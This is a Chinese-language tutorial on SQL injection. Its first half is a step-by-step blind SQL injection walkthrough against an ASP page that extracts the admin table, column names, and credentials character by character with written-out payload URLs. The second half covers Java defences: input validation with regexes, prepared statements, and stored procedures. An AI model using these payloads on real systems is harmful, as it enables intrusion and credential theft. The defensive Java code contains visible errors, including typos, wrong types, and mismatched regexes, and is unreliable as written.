举例一个来自网上的典型sql注入的过程分析:
如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17' 出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:
1 猜管理员帐号表。 2 猜相应表中的用户的字段名以及密码的字段名。 3 猜出用户名的长度和密码的长度 4 猜出用户和密码 5 找到管理页面进入管理
猜管理员的表:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。 猜用户的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回错误信息,表示没有user这个用户段名 再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa') 没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa
猜密码的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')返回错误信息表示没有passwd这个密码字段名。
再来:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa
猜用户字段名长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
>5)
正确 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
正确 用户名长度大于5小于10 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
=7)
呵``` 用户名长度为7位
猜密码长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5) 正确 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10) 正确 密码长度也是大于5小于10 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7) 呵``` 密码长度为7位
猜用户名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')
用户名第一个字母是:a
猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b')
以此类推!
猜密码:
猜密码跟猜用户名一样!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a') 猜完后来到管理页面: http://hostlocal/test2/admin.asp
登录
接来来讲述如何防范基于java web开发平台的sql注入防范
一、编写数据验证类
parameterCheck.java public class parameterCheck{ String emailregex="[’\\w_-]+(\\. [’\\w_-]+)*@[’\\w_-]+(\\.[’\\w_-]+)*\\.[a-zA-Z]{2,4}"; String intregex="^(\\d{5}-\\d{4})| (\\d{5})$"; Stirng zipregex="^-[0-9]+$|^[0-9] +$";
public static Boolean isEmail(string emailString){ return java.util.regex.Pattern.compile(emailregex).matcher(emailString).matches();
} public static boolean isInt(string intString){ return java.util.regex.Pattern.compile(intregex).matcher(intString).matches(); } public static boolean isZip(string zipString){ return java.util.regex.Pattern.compile(zipregex).matcher(zipString).matches(); } }
注: 三种regex 匹配方法 其中public boolean matches(String regex) 此方法调用的 str.matches(regex) 形式与第二种表达式产生完全相同的结果 如果要多次使用一种模式,第三种方法编译一次后重用此模式比每次都调用此方法效率更高。 1.public Boolean java.lang.String.matchs(String regex);
2.public Boolean java.util.regex.Pattern.matches(regex, input);
3.public Boolean java.util.regex.Pattern.compile(regex).matcher(input).matches()
二、始终使用预编译preparedStatement 代替 statement PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET SALARY = ? WHERE ID = ?"); pstmt.setBigDecimal(1, 153833.00) pstmt.setInt(2, 110592)
预编译首先从名字上就知道提高了程序的执行性能,同时在代码上提高了可读性,最重要的是 在安全性上
三、 使用存储过程 存储过程是数据库端的,经过预编译的过程,在安全性上主要对是一些使用运算符(如 AND 或 OR)将命令附加到有效输入参数值的攻击。在应用程序受到攻击时,存储过程还可以隐藏业务规则的实现。
JDBC API 提供了一个存储过程 SQL 转义语法,该语法允许对所有 RDBMS 使用标准方式调用存储过程。 public interface CallableStatement extends PreparedStatement
无返回结果的过程语法: {call 过程名[(?, ?, ...)]} 返回结果参数的过程的语法为: {? = call 过程名[(?, ?, ...)]} 不带参数的已储存过程的语法类似: {call 过程名}
|